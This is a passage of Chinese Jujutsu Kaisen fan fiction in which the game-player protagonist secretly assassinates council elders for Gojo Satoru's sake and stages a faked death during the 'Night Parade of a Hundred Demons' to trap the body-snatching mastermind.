五条悟听呆住。 这么点功夫,这小子竟然就跑去京都宰了个老头! “你这只黑豆柴,真是的,也不担心会被总监部抓到小辫子,派人追杀……” 五条悟蹙起眉嘀嘀咕咕,表情流露出明显的担忧。 “我不担心。” 依旧维持五条悟拟态的羽取一真轻轻摇头,望向他的目光与看家入硝子时全然不同,柔软而温润,像细雨后落满阳光的初春晴空。 “我答应过悟的,要自上而下的来帮你。” “——。” 五条悟说不出话。 他忽然发现,能被轻易就迷得晕乎乎的,好像也不只有一真。 第160章 自生日派对彻底结束后, 羽取一真与五条悟在关系上保持着一种[对外佯装背叛之仇不死不休,私底下谈恋爱黏黏糊糊]的默契。 转年开春,又有三位总监部高层相继死亡, 强烈的恐慌情绪如落在荒原上的野火, 转瞬间熊熊燃起一切。 当他们发现待在御三家内部也并不安全时,几乎很难再保持往日的从容与高高在上。 天狼星亦如其在某个传说中的寓意那般,在此刻化作一颗明亮却冷酷的死兆星,高悬于所有人的头顶。 而更关键的问题在于,他们甚至对凶手一无所知。 在报告里,他们仅能将其总结为:神出鬼没, 确定拥有某种躲避结界的手段;疑似更擅长使用匕首或刀之类的咒具,也有可能是术式发动的媒介;极其嚣张, 会刻意使用标记来挑衅咒术界。 本体不明, 动机不明, 手段不明。 唯一明白的一点是:凶手目前杀的都是总监部成员。 “……” 这份总结很好, 还不如没有。 看完报告的首座将那叠纸丢开,目光在办公室逡巡一圈, 最终落在窗台的那盆白松上。 它品相极好,常年浓绿的针叶错落有致,树姿端庄且古雅,延伸开来的树冠如龙翔凤翥, 既苍劲有力, 又柔软舒展,每一分修剪都恰到好处, 是他数十年来养护的心血。 这种真松盆景的艺术价值极高,纵然懂行的人出价千万,他也绝不肯卖出。 然而, 他发现此刻的白松苍翠依旧,却似乎折了一根枝干。 一根细弱的、不起眼的枝干。 它既没有发黄,也没有枯萎,更没有遭虫害——只是静静的,断折了一枝,落在下方的泥土里。 亦如被不断修剪的总监部。 首座的心亦如这根枝干,缓慢沉了下去。 ……… 夜蛾正道带的这届正式毕业,他也彻底升任为东京高专的校长,非特殊情况不再带学生。 与此相对的是五条悟高专毕业,开始接起夜蛾正道曾经的工作,成为一年级新生的咒术教师兼班主任。 对于甚至还没到20岁的五条悟是否能胜任高专教师这个职位的问题,总监部只讨论了一次。 因为收到消息的羽取一真出手,相当利落的宰了两个在会议上投反对票的老头。 于是,总监部默许了五条悟即将在开学时,成为一年级的“五条老师”。 也可以说,他们在死了这么多人以后,终于稍微反应过来——或者说是察觉到——想要对五条悟不利的人,就是凶手盯上的目标。 “不愧是脑子已经不中用的老人家,要杀这么多次才能反应过来。” 羽取一真收到[表决通过]的消息,淡淡开口。 禅院直哉没敢搭腔,气势很弱的问了句:“没什么指示我就挂了……” 他算是怕了这个活阎王,说动手就动手,今天听见人名,第二天就能传出死讯。 禅院直哉觉得他要是不听话,估计当天晚上就能见到他的堂兄。 ……还是赶紧给他找找那个咒纹的来源吧,正好现在加茂家死了两个长老,乱成一团才好浑水摸鱼。 “嗯,下次有异常再向我汇报。” 羽取一真挂掉电话,俨然成了禅院直哉上级的模样。 虽然这个上级冷酷无情,除了使唤禅院直哉外一点好处也不给。 不过,至少他没有像上周目那样,因为嘴贱而挨对方一顿毒打——羽取一真自认为对禅院直哉已经格外宽容。 上一个说悟坏话还没禅院直哉这么过分的总监部高层,尸体早就硬透了。 羽取一真收起手机时,正好看见夏油杰从外面走进来。 他最近为盘星教吸纳了好几个能干活的诅咒师,其中一位名叫菅田真奈美的年轻女性最有用,负责管理财务上的事情。 隐约听说她十分仰慕夏油杰,是为了夏油杰才加入盘星教的。但羽取一真并不怎么在意。 “去除灵了?”羽取一真问夏油杰。 “差不多,最近在网络上出现了一个有趣的传闻。” 夏油杰在他的位置上坐好,边将袈裟的袖子抻平。 身为【圣子】的羽取一真穿着纹付羽织袴,当上【教祖】的夏油杰自然也不好天天穿着普通衣服晃悠,便选择了与他气质相称的袈裟。 虽说二人的穿衣风格不怎么统一,但盘星教本身就是外部现代化,内里传统和式的混搭风,想想也就无所谓了。 羽取一真“嗯”了声,“传闻?” “实话说,我也不清楚这个传闻的源头是哪里。” 夏油杰摊开双手,示意自己也是跑了个空。 “刚收到消息时,我还以为会生成类似凤凰火的咒灵。利久也很笃定的和我说,他在那个地方感受到了咒力波动。” 凤凰火,在日本古代传说里并不罕见。 它与玉藻前或河童一样,也相当容易因普通人之间产生的畏惧共识,而生成假想咒灵。 在不同的传闻里,凤凰火被赋予了不同的涵义。 有说凤凰火是一种自凤凰扇动翅膀时落下的火焰,也有说是凤凰涅槃时遗留在人间的火焰,也有说是某种无意间获得凤凰火焰的鸟类精怪。 古代那些复仇或守护之类的传闻暂且不提,最近诞生的传闻大有与时俱进之势: “大致总结来说就是在著名的诺查丹玛斯大预言里,人类会在十年后面临残酷的大灭绝,来自凤凰的火焰将会自天际接连坠落,带着象征暴虐的荒御魂从新宿开始点燃大地,彻底烧尽一切活着的生灵,而后重启整个世界。” 听夏油杰念完这个所谓的预言,羽取一真沉默看着他,表情就像在说[你这也信]? 夏油杰:“……” 夏油杰握拳轻咳:“实际上,诺查丹玛斯是一位十六世纪的法国占星家兼预言家,他怎么可能结合日本神话编出这些内容。” 意思是他也压根没相信这个传闻。 “但有时候,新的都市传闻之所以会被大众接受,除去有些内容本身具有一定知名度以外,噱头也是很重要的。”夏油杰说,“就像2012年人类会灭绝的玛雅预言,同样有许多人相信。” 可能就是这个玛雅预言给了传闻灵感,才能编出不知所谓的[诺查丹玛斯大预言]。 而人类灭绝、世界重启的内容又足够带给一些会相信这些的人以恐惧——再经由信息传播速度极快的互联网发酵,负能量就容易传染并蔓延。 只要有一小撮人相信,哪怕被其余人提出质疑,也会因争吵而引爆更多的负面情绪炸丨弹。 负面情绪并不仅有恐惧,消极、厌恶、排斥、沮丧、轻蔑、乃至连幸灾乐祸下的咒骂,都属于负面情绪的一种。 诅咒是极复杂的负能量混合体,而点燃它的导火索可能仅需要一则离谱的、传播度够广的流言。 “但你又说在新宿感知到了咒力?” 羽取一真打开游戏界面看了一眼,确定这个传闻没有触发新的委托或任务后,便显得有些兴致缺缺。 或许是他完全没按照游戏正常流程走剧情的缘故,系统已经很久没有提示新任务了。 “嗯,利久是这么说的,只是我过去后什么也没发现。” 夏油杰说,“不过,本来凤凰就是象征守护与繁荣的祥瑞,哪怕在佛教里也被认为是孔雀明王的化身之一,或是迦楼罗的原型……总之,凤凰涅槃的传说我有听过,凤凰灭世实在有些离奇。” 与希腊神话里那只能够在火中重生的不死鸟不同,涅槃在佛教里的本意是指如油灯燃尽后火焰熄灭,其超脱一切生死、灭尽一切世间法、斩断一切苦果业孽,最终达到不死不生、不垢不净、不瞋不灭的状态,彻底超脱的圆满状态。 亦如凤凰在炽焰中自焚而去,跳出因果轮回,仅余下几缕凤凰火在世间。 无论怎么说,凤凰可是日本皇室的御用纹样,不怪有人会因为这则传闻吵起来。 “可能是为了博取关注度。”羽取一真点头。 这在现实世界里也并不显得多么稀奇,每天都有大量的虚假信息被发布上网,广泛流传——有时会紧跟着有人辟谣,有时没有。 “大概吧,就是害得我白跑一趟,还要让利久以后注意仔细甄别……不过这种流言通常也就传十天半个月,很快就会被人遗忘了。” 夏油杰又和羽取一真聊了会,谈起美美子与菜菜子最近在学业上截然不同的表现,又提到天内理子与黑井美里在伏黑家过得还不错——尤其天内理子在新学校靠着五条悟与羽取一真的亲笔签名,交到不少志同道合的好友。 直到他看了眼手机上显示的时间,起身和羽取一真先道别。 “我之前与一位信徒约好这个点见面,先走了。” 他只是暂且坐这里休息片刻,还有很多事情要忙。 羽取一真赶着杀总监部和五条悟对着干的老头,要不就是到处清野怪攒咒力结晶,很少会去见信徒,都是由夏油杰来处理的。 “嗯,”他停顿片刻,又出声问夏油杰。 “那个[教祖]一直没来接触过你?” 他都杀了快十个总监部高层,还以为暗地里掌控总监部的那家伙多少会有一点动静。 夏油杰的步伐略微迟滞稍许。 “没有,”他回头朝羽取一真耸了下肩膀,“大概是[她]还没有察觉到我们的计划吧。” 说完这句,夏油杰又对他笑了下,才转身快步离开参殿。 留下羽取一真坐在原位沉思许久,拿出手机,给五条悟编辑邮件。 [对于夏油杰诈尸计划,我们可能需要做一点细节上的改动。] 160-170 第161章 五条悟没有询问羽取一真为什么突然提出要变动计划, 他只回了一个干脆利落的答案。 [好。] 他完全相信羽取一真的判断,亦如羽取一真相信他的。 而羽取一真也并非彻底否决这个计划,他只是变动了一下执行者的细节。 由夏油杰诈死, 改为羽取一真拟态成[夏油杰]来诈死。 夏油杰刚才的反应实在有点微妙, 让羽取一真再考虑许久后,决定换人上场。 能把[教祖]钓出来的计划只有这一次,还是他亲自来比较放心。 何况,夏油杰始终没有学会反转术式,也没有领域展开——就算他能驱使咒灵防御,也未必可以挡得住那个[教祖]下死手。 他还记得上周目那个[教祖], 实打实会领域展开的! 倘若只要夏油杰一死,[她]就可以无条件附身, 那场面就会从[羽取一真与夏油杰二对一]转眼间变成[羽取一真被迫一对二]了, 相当糟糕。 身为玩家的羽取一真本身并不害怕死亡, 但他担心自己死亡后可能又会导致存档损坏, 反而变得努力保证自己不死。 而他也做好了[敌人成功逃脱并开始针对悟]这种最坏的打算,便始终没有执行计划。 一方面, 总监部那边明显还没有要对他出手的意思,还不够达到[合理的必死局面]。 另一方面,羽取一真也在等悟掌握领域展开这招终极必杀技,彻底成为超规格的[现代最强术师]。 悟前两天还跟他说最近摸到一点领域展开的头绪了, 甚至是之前在演唱会上面对数万观众时烧脑过度带给他的灵感。 虽说羽取一真没明白悟的领域展开与前年的演唱会有什么关系……但既然五条悟说是个好消息, 那他就为对方感到高兴。 可惜他还不知道自己什么时候才能解锁与领域展开奖励相关的隐藏委托或任务,莫非又要等伏黑津美纪中诅咒的时候? 羽取一真觉得可能性不大, 毕竟他现在已经知道幕后黑手是谁,甚至还在谋划着提前宰了对方。 就是现在宰不到,有点气。 越想越有点气。 羽取一真低头沉吟了会, 决定不能这样被动的等总监部犯错。 左右现在都是官方通缉令上的红名了,再干点坏事又能怎样? 他先回给悟的邮件一个意指[灿烂笑脸]的颜文字表情,才又翻到通讯录,拨出一个熟悉的号码。 “禅院直哉。” 羽取一真念出对方的名字,声音平淡。 才刚说有异常再汇报的天狼星恶魔,没过半天就又打来电话——禅院直哉却不敢不接。 “我在,” 他在内心疯狂抱头尖叫,表面上还要镇定的、恭敬的开口问道。 “是突然发生了什么事情吗?我这边没收到任何异常。” 用的还是敬语。 羽取一真也没有和他多废话:“我觉得,我现在的工作量不怎么饱和。” 这句[你是不是没有在努力]的言外之意,令禅院直哉张着嘴良久,不知道该接什么话。 “…………” 工作不饱和关他什么事啊,自己去找事情做不就好了! 禅院直哉在心里怒骂这个活阎王简直是没事找事,但忽然想到一点。 ……慢着,这家伙的工作该不会是干掉总监部吧。 所以工作不饱和的意思是,嫌自己杀的还不够多? 见鬼了,别人工作要钱,他工作要命! 禅院直哉就像一条被粗暴拎上岸的咸鱼,嘴巴张张合合几次后,彻底自暴自弃。 “最近真没有关于五条悟的会议,大家都快被你吓死了,哪还敢讨论五条悟。” 羽取一真冷淡“嗯”了声,言简意赅的给他下达命令。 “你让人去挑起这个话题,或者挨个聊聊。范围不止总监部,你们御三家内部的长老也多打探一下。” ——简称钓鱼执法。 没人敢讨论是吧,那就主动安排人去引战、去套话,不支持悟的一律由他来清理掉。 果然,馅饼不会从天上掉下来,还是要靠他自己努力争取。 禅院直哉:“……” 救命,这个恶魔怎么能想出这么缺德的损招! “抱歉,我实在有点好奇,”禅院直哉幽幽开口,“你是想把至少三分之二的咒术界都杀光吗?” 只要不支持五条悟改革的,全部都杀了? 禅院直哉知道这个问题有点荒谬,在说出口时就做好了被训斥的反应。 但更让他感到不现实的是在电话另一边安静片刻后,属于羽取一真的冷淡声线再度响起。 “倘若有这个必要,我并不介意。” 他在上周目就奉行这个敢反对就宰掉的策略,只是那时的悟拦住了他。 而如今成为诅咒师的羽取一真并不打算在这周目,继续让悟陷入坚持十年每天仅能浅眠三个小时,还要独自面对无数排挤、刁难与斥责的境地。 都当上诅咒师了,不多杀几个反对者祭天,怎么能算得上是一位优秀的诅咒师? 他在这周目是为了悟而来,也仅是为了悟而来。 无论要死掉多少人,羽取一真都根本无所谓——倘若整个咒术界都在与悟作对,那么他偏要让悟的理想成为现实。 但这话让禅院直哉听在耳朵里,整个脊背都在发凉。 死十个或者二十个高层,在那家伙的眼里也和吃饭喝水没有任何差别……! 他是真正想要颠覆整个咒术界的恐怖存在,比起曾经备受禅院家歧视与羞辱、却仅是将人打一顿后离家而去的堂兄还要恐怖一万倍! 该说唯一庆幸的地方是还有五条悟作为他的理智锚点吗…… 禅院直哉根本无法想象什么样的地方才能培养出这种惊天活阎王。 而他还被完全强迫的、百分之一万不情愿的绑上了贼船! 面对这样恐怖的家伙,禅院直哉刚才在脑中打好的拒绝腹稿完全说不出口,只能底气不足的回道。 “我…我知道了,会让人去试试的。” 对此,羽取一真只说了一句话,却成功让给禅院直哉眼前一黑。 “每隔一周,向我汇报一次进度。” ……… 当五条老师的第一学期结束,暑假来临时,他只和学生们笑眯眯打了声招呼,说“假期愉快,有紧急事项可以打我电话哦!”,便彻底不见了踪影。 与此同时,一只漂亮的蓝瞳长毛白猫又惯例躺在了羽取一真的怀里,哪怕在那身漆黑的纹付羽织袴上滚满了纯白猫毛,也坚决没有要挪窝的意思。 酒见绫子早已经见怪不怪,默认它就像每年春天都会回来筑巢的燕子那样,一到夏季就会长在羽取一真的身上。 而在圣子大人极具先见之明的领导下,盘星教的转型十分成功,那些议员或许不满他们不再支付大笔的政治献金,但在政策上,确实拿捏不到这个宗教团体的把柄。 包括总监部那边,铩羽而归几次之后,也只能选择放弃。 毕竟,一个连中层以上领导全部都被安排去下地种田、农场养鸡时,真的很难说还会有什么手段能对付他们。 就算送去监狱里劳改,他们也未必需要每天都干16个小时的活啊! 当然,这也导致酒见绫子只能在各个分部设施里再选出一位基层小组长,专门负责从她这里接手安排具体的工作事项及结果上报。 但只要一想到那些昔日高高在上的园田理事之流,如今只能每天满身泥巴的锄土抓鸡,每天工作16个小时才能休息——她就忍不住躲在被窝里偷偷的笑。 甚至,她觉得羽取一真就算想当教祖也没有任何问题,底层的教众没有不崇拜喜爱他的。 虽说现在的夏油教祖也不是没有做出贡献,听说他们在高专时还是同班同学……但酒见绫子心底早已有了明确的倾向。 而且,她偶尔还会从对方那露出的温和笑容里,察觉出一点微妙的违和感。 但那更多是由于人情世故经历太多后,在察言观色上拥有了某种不可明说的直觉,既不能确定百分之百准确,也无法辅助她判断出更多东西。 总之……出于某种说不清道不明的主观感受,酒见绫子还是更愿意亲近羽取一真这边。 她自然不清楚自己会如此旗帜鲜明的站在他这边,是支配度100%所带来的强制立场加成。 但这股信赖感足以令酒见绫子在工作内容汇报完毕后,和羽取一真说点直白的抱怨。 “我还是想不明白,为什么会突然空降一个教祖。任命您直接成为新的教祖不行吗?明明是您对盘星教如今发展的贡献最大。” 为了让[她]在附身之后,还能顺理成章的继续当教祖。 羽取一真在心底如实回答,手上正在熟练挼着这只懒散趴在他腿上的长毛大白猫——沿毛皮下凸起的脊骨一点一点顺毛往下摸,指尖反馈出肌肉放松下十分柔软的触感,又随力度适中的按摩而微微绷紧,喉间配合发出极惬意的轻微呼噜声。 ……太可爱了,悟根本就是故意的。 “没关系,让他当就好。” 羽取一真被悟咪的反应可爱到说不出话,半晌才开口回道。 但酒见绫子对这个答案并不满意:“很多人私底下都来找我说这件事,他们不理解圣子大人的成果竟然如此轻易就被一个空降的外人摘去,还要强迫他们服从。” 羽取一真只拿管理层开刀,对底层教众的待遇都很好,这也让他在不怎么露面的情况下,依旧积累了大量人气及追随者,纷纷夸赞圣子大人英明又仁慈,还十分慷慨。 至于圣子大人还在兼职当一个四处猎杀咒术界上层的魔王这件事,他们自然是半点也不知情的。 “这是计划的一部分。” 有些消息无法透露,羽取一真只在最后对酒见绫子这么说道。 “大概,很快就会结束了。” 具体有多快,羽取一真原本预计的是按照游戏里的时间来算,半年到一年。 但他没想到,这个计划的真正实施一直等到2012年,才正式开始。 ——其名为,[百鬼夜行]。 第162章 四年的时间, 一切变化都很大。 譬如,咒术界上层早已被羽取一真杀得苦不堪言,成天胆战心惊的, 连上厕所都必须叫人陪着, 只要与五条悟相关的决策都全票通过,更是不敢说对方半句坏话。 再譬如,羽取一真管理下的盘星教已彻底转型成功,从不要求任何钱财供奉,积极帮助信徒解决家庭或个人问题,逐渐积累的庞大影响力使得整个团体的总人数在迅速增加。 再再譬如, 五条悟已彻底掌握领域展开[无量空处],教师事业同样进展得相当顺利。 遑论23岁的他已接任五条家主的位置, 还要兼顾一级以上的棘手任务——却依旧能将这些处理得游刃有余。 即使五条悟靠自己的术式祓除咒灵完全轻而易举, 他依然在教学上奉行[让学生充分得到身体与心灵上的双重成长]的方针, 既不显得保守或顽固, 也丝毫没有看他们年龄小而过度保护的意思。 “咒术师的死亡,其实是一件很平常的事情。” 五条悟撑着脑袋, 说出这句结论时的神色平静,没有任何要用看似温暖的言辞去包装其冰冷内核本质的意思。 “只要踏上咒术师的道路,他们就必须要直面各种死亡……无论是受害者的、同伴的、还是自己的。” “灰原死在了一级任务里,七海也在毕业后转行不干咒术师——这种事情的发生都是相当常见的。” “我如果对尚且十五、六岁的学生说[你们拥有特别的力量哦, 以后就用友情啊羁绊啊勇气啊之类的东西, 把敌人全部打个落花流水吧!],那才是完全不负责任的表现啊。” “但倘若要我说[诅咒并不可怕, 只需要听从安排,大家都会没事的],也只是在将他们当成工具对待而已, 反而让个别人的死被偷换概念成[没有听从安排]。” “我更希望让他们认清现实……现实就是,咒术师是一个相当残酷的职业,它会面临电车难题似的人性考验,会在某个时刻突然迎来濒死的绝境。” “必须要先培养敢于面对死亡的觉悟,才能讨论他们内心真正会选择的信念——那才是能够支撑他们在这个被诅咒的残酷世界里,唯一能活下去的保障。” 五条悟自诞生之日便被上天赋予[六眼],觉醒术式后更是仅有一次险死还生,却让他彻底奠定[最强]的地位。 许多人都认为他会仗着[现代最强术师]的身份高高在上,对所有低阶咒术师颐指气使,压根不会去考虑普通咒术师的死活。 但事实上,亦如人类仰头能望见苍穹那般,苍穹也会对人类回以同样的注视。 那双漂亮的雾蓝苍瞳既不冷漠、也不无情。 就像他会用柔软的指腹轻轻触碰花瓣却不摘去,五条悟也会将柔软的本质埋藏在貌似冷漠的行动之下,让学生在成长中能得到身心磨砺之余,又无比信赖五条老师会在最后关头无条件帮助他们。 五条悟偶尔会说自己不是当老师的料,但羽取一真却坚定的认为他就是最棒的老师。 “确实很有道理……那也不要突然对着惠说这些啦,他现在才九岁呢!” 旁听的天内理子提出抗议。 ——以上这段对话,正发生在[百鬼夜行]前的伏黑家。 五条悟在杀死伏黑甚尔后,曾想要亲自向伏黑惠说明这个情况,哪怕被对方憎恨、以后想要复仇也无所谓。 但他的话尚未说完便被后者打断,并表示他其实完全不在乎那家伙如今在哪里,又到底在做什么。 就当他已经死了——伏黑惠说完这句话,又问五条悟揍他了没有。 揍到了大概一下吧。五条悟眨巴眼回完这句话,就见伏黑惠点了下头,哪怕他接着说随时可以问他,也不再问起伏黑甚尔的事情。 对待他的态度,也与之前没有任何差别。 五条悟原本因为太忙而减少了来到伏黑家的次数,但[百鬼夜行]即将开始,他担心超过千只的咒灵骚乱会波及到伏黑家这边,便特意提前过来了一趟。 既是让他们到时候注意尽量不要出门,也稍微让这家里唯一拥有术式的伏黑惠学一些咒灵的甄别及术式的相关应用技巧。 “有什么关系嘛,惠不是已经觉醒术式两、三年了吗?他也该开始学习如何运用自己的术式啦。” 听到天内理子的抗议,五条悟无辜歪了下脑袋,从宽大的衣兜里掏出一本被他卷得扁扁的小册子,交给伏黑惠。 仔细一看,纸张边缘还泛黄,竟然是本价值不菲的古籍。 “家传术式的好处是前人会留下很多宝贵的使用经验。喏,这是我从禅院家借来的,记得认真看完并理解哦,有什么不懂的地方可以打电话问我。” 五条悟说,“我会抽空再带你进行一下低阶的咒灵祓除,积累经验——别担心,[十种影法术]的术式上限很高,在有些古书的记载中,可是能跟[无下限]一较高下的术式呢。” 伏黑惠伸手接过那本册子,表情依旧平淡——而后,他就被伏黑津美纪抬手压着后脑勺,强迫他低下脑袋。 “谢谢悟哥哥!” 露出开心表情的伏黑津美纪跟着一起低头,还催促伏黑惠快点跟着一起道谢。 伏黑惠:“……谢谢。” 比起神情冷淡、看待事情都相当消极的伏黑惠,伏黑津美纪总是热情又善良的,依旧对整个世界抱有一切美好的期待。 看伏黑惠道完谢后别扭的表情,五条悟也只是轻快笑了两声,摆手连说没关系没关系,他遇到的有个性学生可太多了哦。 而且他这次来也是顺带来看下天内理子与黑井美里有没有什么困难,得到一切都好的回答后,便放松的起身告辞。 [百鬼夜行]被定在12月24号,是夏油杰提出的建议。 12月24号是人群会大量聚集的平安夜,到时他会在东京与京都投放超过上千只咒灵。 这一犯罪预告,已经在前段时间就由他特意乘坐鹈鹕咒灵去东京高专,向夜蛾校长、向整个咒术界正式宣战。 “我会向咒灵下达只破坏建筑、不袭击人类的指令。” 夏油杰停顿片刻,再度向羽取一真确认,“我们两人的样貌对调,真的不会被发现?” “虽然术式不会跟着对调,但咒力气息也能完全模拟。”羽取一真肯定道,“我不使用术式就没问题。” 而夏油杰的[咒灵操术],又恰好是可以隔空发动的技能。 只要他将咒灵贴着羽取一真放出来,乍一看只会被当做是羽取一真“驱使”的咒灵。 再加上羽取一真在物品栏里储备有大量咒力结晶,届时哪怕被五条悟的[茈]打到濒死,也能瞬间满血复活。 纵使他还不会领域展开也没关系,极近距离的[十方摩诃]+[业双],足以轻松打爆任何敌人的脑袋。 米格尔、拉鲁、菅田真奈美、祢木利久这些由夏油杰招揽过来的诅咒师们也会参战,目标是拖延总监部这边派出的咒术师,或是制造大的破坏动静,但不要对平民下手。 总而言之,五条悟和羽取一真的目标是将战斗场面搞得越宏大越好,但尽量不要出现死者。 因此,羽取一真还特意交代酒见绫子负责疏散盘星教内部人员,倘若被总监部安排人来报复,就赶紧躲起来。 “反正,也不需要躲很久。” 羽取一真望着彻底沉下去的天色,霓虹灯已然依次亮起,即将到来的圣诞节令整个新宿都充斥着一种浪漫的的热闹气氛。 日本是默认将平安夜过成情人节的,不能在这时候和悟上街逛一会,他其实觉得挺可惜。 嗯,不过,成败就在此一举了。 灿金闪烁间,原本身穿纹付羽织袴的羽取一真,已拟态成身穿袈裟的夏油杰样貌。 “[百鬼夜行],开始。” ……… 今夜的新宿与京都,都不算特别热闹。 咒术界提前收到宣战,早已联合政府提前疏散了绝大部分民众,用的借口是怀疑恐怖分子在此处安置有炸丨弹,意图将平民当做人质。 当然,宣战也同样是羽取一真这边的刻意为之,不然建筑倒塌依旧容易伤及无辜。 而现在,倒更像是他们刻意圈出一个地盘来方便战斗了。 数千只咒灵乌压压覆盖在这两座城市上空,在每一栋或矮或高的楼栋里、每一条街道上缓慢游荡,分散了绝大部分的咒术界战力。 在其中一幢大楼顶层,庞大到令人反感的诅咒气息如漩涡汇聚,咒灵一只接一只地跟随在神情冷峻的[夏油杰]身侧,狰狞的、可怖的,如同众星拱月般,将他簇拥起来,直面如今的现代最强术师——五条悟。 那双被完全露出的苍瞳,同样漠然看向昔日的“好友”。 “这就是你的答案吗,杰?” 作戏做全套,即使五条悟一眼看出这位[夏油杰]是某只黑豆柴假冒的,却还要摆出一副痛心疾首又下定决心的模样。 他举起右手,拇指指腹压在并拢屈起的二指上——是[茈]的起手式。 “是啊,为了达成我的目标。” [夏油杰]冷淡回应道,被五条悟在心里默默打了个演技不及格。 “一真呢,他不敢来见我?” 五条悟眼眸微动,以居高临下的态度扫视周围更低矮的建筑——忽然,那双苍瞳的目光落在更远、更远的地方,似乎发现了什么异常。 顶着夏油杰样貌的羽取一真也想知道那里发生了什么事,值得五条悟停顿如此久;但他只是普通人视力,夜间能看清超过20米开外的物体就很不错了,根本无法共享[六眼]的视角。 “他就在附近,可能随时会给你致命一击。害怕了吗?” 羽取一真只能按照剧本往下说台词,准备等之后再问悟刚才是不是有看见什么。 至于目前拟态成羽取一真的夏油杰,他确实就藏在附近——放出去的咒灵只能听从简单的指令,要想进行死斗级别的精细操控,还得他自己亲自来。 而之后,他会在某个时刻佯装伏击跃出,然后在顺势被五条悟打的假装昏迷,实则继续操控咒灵战斗。 也就是说,羽取一真全程只需要配合摆出驱使咒灵的架势,近战时再配合下之前特训过的体术,打出一副苦战的模样就足够了。 “……哈,这是我要说的台词才对。” 被羽取一真的台词提醒,五条悟这才收回目光,一发[茈]已然在弹指间轰出。 [夏油杰]躲得及时,但身后大厦眨眼间被贯穿出一个圆滑的弧面,迟滞了片刻,才如同泰山倾倒般,原本支撑高楼的钢筋受重力弯折、崩断,无数混凝土与玻璃的碎块伴随大量粉尘与撼天声响,缓慢朝地面垮塌而去。 “我会放过你一次,杰。” “但我不会放过你第二次。” 第163章 这场为幕后黑手而上演的死斗, 如剧本所设计的结局那般,以[夏油杰]被五条悟炸没小半个身体,“彻底死亡”而宣告结束。 按照他们的猜测, [咒灵操术]的使用者一死, 寄居在他体内的咒灵大概率将会彻底散出,自动解除术式操控,变为无主咒灵。 因此,剧本里还安排羽取一真使用[咒灵操术·极之番·漩涡],将持有的全部咒灵都合为一体,尽数发射出去。 甚至包括已经被投放出去的那部分, 这样还能顺理成章回收所有放出去制造声势的咒灵。 当然也不会真的全部丢出去,只要台词这么念, 夏油杰跟着把所有放出去咒灵都回收, 再往里添一些就够了。 反正只要夏油杰不说, 谁能统计出他到底总共有多少只咒灵? 虽然夏油杰在刚提出这个解决方式时被五条悟吐槽过“不是吧, 特意将数千只咒灵压缩成一个然后消耗掉?这打法会不会显得杰好笨啊!”,把夏油杰的拳头都说硬了。 但他们又没办法解决[被投放到大都市里的数千只无主咒灵该如何一口气全部杀光], 只好还是按照这个笨打法来。 人都因为想不开而叛逃成诅咒师了,打法偏激一些也是情有可原。 此时此刻,便来到最后的收尾工作。 五条悟在废墟之中带走了[夏油杰]那具几乎感知不到气息的“尸体”,独自前往墓园。 哪怕他知晓羽取一真有能够治愈自己的反转术式, 神经仍旧不由自主绷得极紧——连带表情也沉默而寂寥, 倒是十分接近他手刃好友的真实反应。 剧本是一回事,感受着恋人缺失小半个身体, 毫无生机的被自己打横抱在怀里,又是另外一回事。 何况,在五条悟刚看见羽取一真扑倒在地、彻底闭上眼的那么一瞬间, 他心底忽然涌起了一股强烈的、难以抑制的冲动。 那是某种冷酷的、果决的汹涌情感,却更似一阵猛烈呼啸着的冷冽罡风,近乎令五条悟下意识抬起手,想要破坏掉什么。 具体想要破坏什么,他却不知道。 怔在原地的五条悟茫然一会后,又将手重新垂了回去,转而弯腰抱起羽取一真。 他还得将一真送去指定地点——而后,他要返回来找一个人。 多亏五条悟在力道上控制得相当精准,让羽取一真的伤势极为惨烈,体力值却又还剩下10%的状态。 这是他的反转术式不会自动开启的极限值。 身为玩家的他纵使濒死也不会昏迷,只是大脑不断传递的眩晕感太强,睁眼时的视野亦好似蒙了一层黑雾,所有物体都在旋转、扭曲,压缩成辨不出模样的怪异形状。 仅坚持了片刻,羽取一真便又被迫靠闭眼来缓解这股近乎要将他彻底拖入泥潭深处的下坠错觉。 但被放进棺材之前,他还是强撑着睁开眼睛,对上五条悟那张明显格外不高兴的脸——朝对方微微笑了下。 那双冷冰似的苍瞳,也随着手臂肌肉的放松而变得柔软许多。 在离开前,五条悟俯下身,用额头轻轻贴了贴羽取一真的。 这个再普通不过的亲昵动作在他们这里,已变成了安抚与承诺的代名词。 “等你的好消息。” 五条悟轻声说完这句,便合上棺木,用泥土封好。 为了防止那个极狡猾的敌人警觉,他不能守在这里,更无法跟着去——哪怕是白猫拟态也不行。 因此,他必须相信一真能做到。 ……… 过了不知多久。 冰冷的,没有温度的光线射入,刺破闭合的眼睑。 等到近乎昏迷的羽取一真,神经骤然拉响警报。 他的意识不算彻底清醒,没能察觉到有人挖开墓土,撬出棺材,将[夏油杰]的尸体盗走。 不过,羽取一真并没有盲目进行攻击,而是依旧双目紧闭,连反转术式也没有使用。 盗尸体的人未必就是[幕后黑手]本人,[她]大可以使唤任何帮手来做这件事。 只有一件事,能够锁定对方的真正身份。 ——那道额头上的缝线。 他眼下两手空空,除去这几年囤积的咒力结晶外,[业双]被特意切换成双刃形态,再收到物品栏内。 [幕后黑手]不会对一具没有威胁的尸体产生警惕。 而羽取一真拥有足够的耐心,一直等到摇晃的动静消失,窸窸窣窣的说话声音远离,又重新靠近——额头传来刀割似的触觉之后。 [反转术式,发动。] 咒力结晶消失一部分,体力值瞬间被补满,而骤然抬起的五指已然紧握住那只就落在视野上方的手腕。 纤细柔软,是一只属于女性的手;极其冰冷,压根不是活人的体温。 “终于,抓到你了。” 羽取一真睁眼看向额头拥有缝线的这个年轻女性,声音冷冽至极。 其中一柄[业双]已出现在他的手中,凌厉且急速地甩手挥击而去! 他不在乎对方到底有什么目标,也不想听反派在战斗前的长篇大论——他只要对方死。 “这么着急?” 对方笑了,而羽取一真立刻通过【社交】界面锁定[她]的姓名——【虎杖香织(已故)(?)】。 和上周目的【夏油杰(已故)(?)】状态一模一样,没有找错人! 悟和他交代过,术师的术式使用完全依赖大脑,一旦大脑被彻底破坏,哪怕对于会反转术式的术师而言,同样是致命伤! 而在那柄短刃即将刺入[虎杖香织]的大脑时,对方仍旧笑着,显得分外从容不迫。 [她]将羽取一真当作仅会[咒灵操术]的夏油杰,哪怕对方临死前使用武器反扑,在[她]看来也不过是小儿科的把戏。 “我之前没能说服你吗?” [她]边这么笑着说道,边将体内的咒力注入术式刻印——[反重力机构],发动。 那把看上去没什么特殊之处的咒具,立刻就会被强制下坠,插入地面吧。 [虎杖香织]是这么想的。 